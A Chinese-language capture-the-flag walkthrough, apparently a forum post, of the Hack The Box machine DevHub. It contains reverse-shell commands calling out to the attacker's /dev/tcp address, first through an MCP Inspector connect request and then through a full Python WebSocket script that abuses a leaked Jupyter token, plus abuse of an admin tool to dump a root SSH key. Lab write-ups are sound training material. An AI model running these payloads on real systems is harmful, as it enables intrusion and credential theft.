首先,进行信息收集,扫描。
nmap -sV -sC 10.129.9.87
看info.txt,里面有一些信息。打开burp。
<div class="services">
<div class="service-card">
<h3>MCP Inspector</h3>
<p>Model Context Protocol development and debugging tool. Used by the dev team for building and testing MCP servers.</p>
<span class="status active">Active - Port 6274</span>
</div>
<div class="service-card">
<h3>Analytics Dashboard</h3>
<p>Jupyter-based analytics environment for data processing and visualization. Access restricted to analyst team.</p>
<span class="status internal">Internal Only - localhost:8888</span>
</div>
<div class="service-card">
<h3>Code Repository</h3>
<p>Internal Git server for version control and collaboration. Project documentation and deployment scripts.</p>
<span class="status internal">Maintenance Mode</span>
</div>
</div>
看来要从mcp入手了。端口是6274,那我是没有扫描全端口。重新扫描一下。
那么,做出如下判断。
- MCP Inspector - Active - Port 6274:外部可访问,明显是给你的入口。
- Analytics Dashboard - localhost:8888:Jupyter 在本机监听,后续可能要通过 SSRF、代理、端口转发或 MCP 工具访
问。 - Code Repository - Maintenance Mode:可能是后续拿源码、配置、凭据的方向,但不是第一步。
#poc索引
https://github.com/MCPJam/inspector/issues/1891
https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6
攻击机监听:
nc -lvnp 4444
反弹shell。
curl -s http://devhub.htb:6274/api/mcp/connect \
-H 'Content-Type: application/json' \
--data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.17.94/4444 0>&1"],"env":
{}},"serverId":"shell"}'
查看基础信息:
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ id
id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ uname -a
uname -a
Linux devhub 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
还记得那个,当初页面有一个内部的端口,就是开在内网服务器里面的吗?
Internal Only - localhost:8888
id && ss -lnpt && ps auxww |grep -Ei 'jupyter|notebook|lab|8888|mcp|git' > /tmp/info.txt
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ cat /tmp/info.txt
cat /tmp/info.txt
analyst 1037 0.0 2.4 182528 96240 ? Ss 10:50 0:05 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False
mcp-dev 1038 0.0 1.6 1512172 64564 ? Ssl 10:50 0:01 npm start
root 1044 0.0 0.7 37376 28808 ? Ss 10:50 0:02 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
mcp-dev 1245 0.0 0.0 2892 1008 ? S 10:50 0:00 sh -c npx @mcpjam/inspector@1.4.2
mcp-dev 1246 0.0 2.4 1738260 97232 ? Sl 10:50 0:03 npm exec @mcpjam/inspector@1.4.2
mcp-dev 1264 0.0 0.0 2892 980 ? S 10:50 0:00 sh -c "inspector"
mcp-dev 1265 0.0 1.2 1442128 52068 ? Sl 10:50 0:00 node /opt/mcpjam/node_modules/.bin/inspector
mcp-dev 1284 0.0 3.5 2224436 142716 ? Sl 10:50 0:02 node /opt/mcpjam/node_modules/@mcpjam/inspector/dist/server/index.js
mcp-dev 1605 0.0 0.1 5688 4824 ? S 13:24 0:00 bash -i
mcp-dev 1643 0.0 0.0 7064 1544 ? R 13:28 0:00 ps auxww
mcp-dev 1644 0.0 0.0 3604 1724 ? S 13:28 0:00 grep --color=auto -Ei jupyter|notebook|lab|8888|mcp|git
其中进程里面
analyst 1037 0.0 2.4 182528 96240 ? Ss 10:50 0:05
/home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False
我们可以拿到serverapp.token,拿到token之后可以干什么呢?我对于jupyter-lab不是很了解。所以问了一下gpt.至于权限的话,我们可以利用这个token,从mcp-dev横到analyst,后续可以用analyst继续提权上root,也就是`
root 1044 0.0 0.7 37376 28808 ? Ss 10:50 0:02
/home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
https://jupyter-server.readthedocs.io/en/latest/developers/rest-api.html
对于jupyter-lab的利用如下:
1.查看token状态。
curl -s "http://127.0.0.1:8888/api/status?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -s "http://127.0.0.1:8888/api/status?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
<tus?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
{"connections": 0, "kernels": 0, "last_activity": "2026-06-01T10:50:23.149259Z", "started": "2026-06-01T10:50:23.149259Z"}mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
2.列出notebooks目录。
curl -s "http://127.0.0.1:8888/api/contents?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -s "http://127.0.0.1:8888/api/contents?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
<nts?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
{"name": "", "path": "", "last_modified": "2026-05-26T08:42:22.462480Z", "created": "2026-05-26T08:42:22.462480Z", "content": [{"name": "quarterly_analysis.ipynb", "path": "quarterly_analysis.ipynb", "last_modified": "2026-01-22T15:06:49.961594Z", "created": "2026-05-26T08:42:21.153593Z", "content": null, "format": null, "mimetype": null, "size": 556, "writable": true, "hash": null, "hash_algorithm": null, "type": "notebook"}], "format": "json", "mimetype": null, "size": null, "writable": true, "hash": null, "hash_algorithm": null, "type": "directory"}mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
测试的差不多,现在要拿到分析员(analyst)的权限,思路如下。
我们可以写一个python3的脚本,用来反弹shell.
python3 --help 是可以正常输出,那我们可以写一个,(在这一块地方突然意识到不对劲,因为我是在mcp-dev下写的python脚本,执行也是mcp-dev执行。那么反弹回来的用户肯定是mcp-dev,遂放弃。)
我们想拿到analyst的shell的利用/思考过程是什么?当前进程是有属于analyst运行的。所以我们需要利用该进程,也就是localhost:8888这个进行jupyter服务替我启动kernel执行代码。
如何让jupyter服务替我启动kernel执行代码呢?
- 访问8888
- 使用泄漏的token
- post请求/api/kernels 创建python3 kernel。
- 连接/api/kernels/(kernel_id)/channels websocket
- 发送execute_request
- jupyter kernel执行反弹shell的代码
- kali拿到shell
那我是如何知道/api/ketnels是可以创建python3 kernel的呢? - 进行明确是jupyterlab.
- jupyter的机制webui/api->创建kernel->让kernel来执行代码
- 网页里打开的notebook/运行python cell本质就是前段通过api和websocket跟kernel通信。(这和我后续想开发/优化的钉钉AI自动化的表格很像。)本质就是api/websocket相当于命令接口。
- 我们无法访问localhost:8888,除非想frp代理出来,这样太麻烦。所以直接行curl的方式来执行。
- 我们发送的请求不是普通post/get请求,而是通过kernel channel的websocket发送execute_request消息。(https://jupyter-server.readthedocs.io/en/stable/developers/websocket-protocols.html)官方有原文说明:The Jupyter Server needs to pass messages between kernels and the Jupyter web application. Kernels use ZeroMQ sockets, and the web application uses a WebSocket.
思路很明确了,接下来需要确定json.tool里面是否有python3.这是一个条件。
curl -s "http://127.0.0.1:8888/api/kernelspecs?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" | python3 -m json.tool
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -s "http://127.0.0.1:8888/api/kernelspecs?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" | python3 -m json.tool
<4a5b6c7d8e9f0a1b2c3d4e5f6a7" | python3 -m json.tool
{
"default": "python3",
"kernelspecs": {
"python3": {
"name": "python3", //main you should focus
"spec": {
"argv": [
"python",
"-m",
"ipykernel_launcher",
"-f",
"{connection_file}"
],
"env": {},
"display_name": "Python 3 (ipykernel)",
"language": "python",
"interrupt_mode": "signal",
"metadata": {
"debugger": true
},
"kernel_protocol_version": ""
},
"resources": {
"logo-32x32": "/kernelspecs/python3/logo-32x32.png",
"logo-64x64": "/kernelspecs/python3/logo-64x64.png",
"logo-svg": "/kernelspecs/python3/logo-svg.svg"
}
}
}
}
至于为什么会变成analyst的权限,其实就是相当于主进程fork出一个子进程(具体参考操作系统这本书,考研教材/黑皮书都有讲)
为了更清楚的反弹shell,这里进行分步执行。
1.first step
export TOKEN='a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7'
export LHOST='10.10.17.94'
export LPORT='5555'
2.second step - ensure jupyter you can access
curl -s "http://127.0.0.1:8888/api/status?token=$TOKEN"
3.thrid step - create python kernel.
export KID=$(curl -s -X POST "http://127.0.0.1:8888/api/kernels?token=$TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"python3"}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["id"])')
echo $KID
4. fourth step - get shell
python3 - <<'PY'
import base64, json, os, socket, struct, uuid
host = "127.0.0.1"
port = 8888
token = os.environ["TOKEN"]
kid = os.environ["KID"]
lhost = os.environ["LHOST"]
lport = os.environ["LPORT"]
path = f"/api/kernels/{kid}/channels?token={token}"
key = base64.b64encode(os.urandom(16)).decode()
s = socket.create_connection((host, port))
req = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Origin: http://127.0.0.1:8888\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
"Sec-WebSocket-Version: 13\r\n"
"\r\n"
)
s.sendall(req.encode())
resp = s.recv(4096)
if b"101" not in resp:
print(resp.decode(errors="ignore"))
raise SystemExit("websocket handshake failed")
code = f'''import os
os.system("/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'")
'''
msg = {
"header": {
"msg_id": uuid.uuid4().hex,
"username": "analyst",
"session": uuid.uuid4().hex,
"msg_type": "execute_request",
"version": "5.3"
},
"parent_header": {},
"metadata": {},
"content": {
"code": code,
"silent": False,
"store_history": True,
"user_expressions": {},
"allow_stdin": False,
"stop_on_error": True
},
"buffers": [],
"channel": "shell"
}
payload = json.dumps(msg).encode()
mask = os.urandom(4)
header = bytearray([0x81])
length = len(payload)
if length < 126:
header.append(0x80 | length)
elif length < 65536:
header.append(0x80 | 126)
header.extend(struct.pack("!H", length))
else:
header.append(0x80 | 127)
header.extend(struct.pack("!Q", length))
masked = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
s.sendall(header + mask + masked)
s.close()
PY
这边让gpt帮我写了一个exp.py
python3 /tmp/exp.py --lhost 10.10.17.94 --lport 5555
拿到analyst的shell之后就是考虑用root的那个提权了。
ps auxww | grep "/opt/opsmcp"
analyst@devhub:~$ ps auxww | grep "/opt/opsmcp"
ps auxww | grep "/opt/opsmcp"
root 1044 0.0 0.7 37376 28808 ? Ss 10:50 0:02 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
analyst 1853 0.0 0.0 6612 2236 ? S 14:15 0:00 grep --color=auto /opt/opsmcp
analyst@devhub:~$
先看一下server.py然后看一下ss -ltnp中相关信息。具体在info2.txt和server.py中。
首先看到/tools/call,这是一个很重要的入口,根据python代码运行方式。调用该接口会进行check_auth(),这一步我们可以用泄漏的key进行绕过。
data = request.get_json() or {}
tool_name = data.get('name', '')
args = data.get('arguments', {})
大概是需要我们先要传入一个json格式的数据(141-166)
"ops._admin_dump": {
"description": "Emergency credential dump - INTERNAL ONLY",
"parameters": {"target": "string", "confirm": "boolean"}
}
{
//需要调用的tool_Name
"name":"ops._admin_dump",
"arguments":{
"target": "ssh_keys",
//如果没有confirm=true这一步的话会在if 你not comfirm那边过不去。
"confirm": true
}
}
analyst@devhub:~$ curl -s http://127.0.0.1:5000/tools/call \
-H 'Content-Type: application/json' \
-H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \
--data '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' curl -s http://127.0.0.1:5000/tools/call \
> -H 'Content-Type: application/json' \
> -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \
> --data '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
> {"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\xxxxxxxxxx----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}
> analyst@devhub:~$
拿到key了,就用ssh -i登陆上去拿root.
ssh -i /root/Desktop/htbfile/DevHub/root_id_rsa root@devhub.htb
1 个帖子 - 1 位参与者